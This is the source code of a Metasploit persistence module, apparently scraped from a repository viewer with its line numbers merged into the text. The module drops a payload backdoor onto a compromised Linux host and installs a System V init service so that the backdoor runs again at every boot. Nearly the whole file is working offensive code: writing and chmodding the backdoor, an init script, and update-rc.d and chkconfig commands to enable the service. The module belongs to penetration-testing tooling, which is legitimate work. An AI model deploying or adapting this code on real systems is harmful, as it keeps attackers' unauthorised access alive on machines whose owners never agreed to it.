Path: blob/master/modules/exploits/linux/persistence/init_sysvinit.rb
24755 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::EXE # for generate_payload_exe11include Msf::Exploit::FileDropper12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/linux/local/service_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Service System V Persistence',22'Description' => %q{23This module will create a service via System V on the box, and mark it for auto-restart.24We need enough access to write service files and potentially restart services.2526Some systems include backwards compatibility, such as Ubuntu up to about 16.04.2728Targets:29CentOS <= 530Debian <= 631Kali 2.032Ubuntu <= 6.0633Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.3435Verified on Kali 2.0, Ubuntu 10.0436},37'License' => MSF_LICENSE,38'Author' => [39'h00die',40],41'Platform' => ['unix', 'linux'],42'Targets' => [43[44'System V', {45runlevel: '2 3 4 5'46}47]48],49'DefaultTarget' => 0,50'Arch' => [51ARCH_CMD,52ARCH_X86,53ARCH_X64,54ARCH_ARMLE,55ARCH_AARCH64,56ARCH_PPC,57ARCH_MIPSLE,58ARCH_MIPSBE59],60'References' => [61['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],62['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS]63],64'SessionTypes' => ['shell', 'meterpreter'],65'Privileged' => true,66'Notes' => {67'Stability' => [CRASH_SAFE],68'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],69'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]70},71'DisclosureDate' => '1983-01-01' # system v release date72)73)7475register_options(76[77OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),78OptString.new('SERVICE', [false, 'Name of service to create'])79]80)81register_advanced_options(82[83OptBool.new('EnableService', [true, 'Enable the service', true])84]85)86end8788def check89print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')90return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)91return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')9293has_updatercd = command_exists?('update-rc.d')94if has_updatercd || command_exists?('chkconfig') # centos 595return CheckCode::Appears("#{writable_dir} is writable and system is System V based")96end9798CheckCode::Safe('Likely not a System V based system')99end100101def install_persistence102backdoor = write_shell(writable_dir)103104path = backdoor.split('/')[0...-1].join('/')105file = backdoor.split('/')[-1]106107system_v(path, file, target.opts[:runlevel], command_exists?('update-rc.d'))108end109110def write_shell(path)111file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)112backdoor = "#{path}/#{file_name}"113vprint_status("Writing backdoor to #{backdoor}")114if payload.arch.first == 'cmd'115write_file(backdoor, payload.encoded)116chmod(backdoor, 0o755)117else118upload_and_chmodx backdoor, generate_payload_exe119end120@clean_up_rc << "rm #{backdoor}\n"121122if file_exist?(backdoor)123chmod(backdoor, 0o711)124return backdoor125end126fail_with(Failure::NoAccess, 'File not written, check permissions.')127end128129def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)130if has_updatercd131vprint_status('Utilizing update-rc.d')132else133vprint_status('Utilizing chkconfig')134end135136service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)137138script = <<~EOF139#!/bin/sh140### BEGIN INIT INFO141# Provides: #{service_filename}142# Required-Start: $network143# Required-Stop: $network144# Default-Start: #{runlevel}145# Default-Stop: 0 1 6146# Short-Description: Start daemon at boot time147# Description: Enable service provided by daemon.148### END INIT INFO149DIR="#{backdoor_path}"150CMD="#{backdoor_file}"151NAME="$(basename "$0")"152PID_FILE="/var/run/$NAME.pid"153STDOUT_LOG="/var/log/$NAME.log"154STDERR_LOG="/var/log/$NAME.err"155get_pid() {156[ -f "$PID_FILE" ] && cat "$PID_FILE"157}158is_running() {159PID=$(get_pid)160[ -n "$PID" ] && kill -0 "$PID" 2>/dev/null161}162start_service() {163if is_running; then164echo "$NAME is already running."165return 0166fi167echo "Starting $NAME..."168sleep 10 && $DIR/$CMD >> "$STDOUT_LOG" 2>> "$STDERR_LOG" &169echo $! > "$PID_FILE"170sleep 1171if is_running; then172echo "$NAME started successfully."173else174echo "Failed to start $NAME. Check logs: $STDOUT_LOG $STDERR_LOG"175exit 1176fi177}178stop_service() {179if ! is_running; then180echo "$NAME is not running."181return 0182fi183echo "Stopping $NAME..."184kill "$(get_pid)" && rm -f "$PID_FILE"185for i in $(seq 1 10); do186if ! is_running; then187echo "$NAME stopped."188return 0189fi190sleep 1191done192echo "Failed to stop $NAME."193exit 1194}195case "$1" in196start) start_service ;;197stop) stop_service ;;198restart)199stop_service200start_service201;;202status)203if is_running; then204echo "$NAME is running."205else206echo "$NAME is stopped."207exit 1208fi209;;210*)211echo "Usage: $0 {start|stop|restart|status}"212exit 1213;;214esac215exit 0216EOF217218service_name = "/etc/init.d/#{service_filename}"219vprint_status("Writing service: #{service_name}")220write_file(service_name, script)221222fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)223224@clean_up_rc << "rm #{service_name}\n"225@clean_up_rc << "rm /var/log/#{service_name}.log\n"226@clean_up_rc << "rm /var/log/#{service_name}.err\n"227chmod(service_name, 0o755)228print_good('Enabling & starting our service (10 second delay for payload)')229if has_updatercd230cmd_exec("update-rc.d #{service_filename} defaults")231cmd_exec("update-rc.d #{service_filename} enable")232if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case233cmd_exec("service #{service_filename} start")234else235cmd_exec("/etc/init.d/#{service_filename} start")236end237else # CentOS238cmd_exec("chkconfig --add #{service_filename}")239cmd_exec("chkconfig #{service_filename} on")240cmd_exec("/etc/init.d/#{service_filename} start")241end242end243end244245246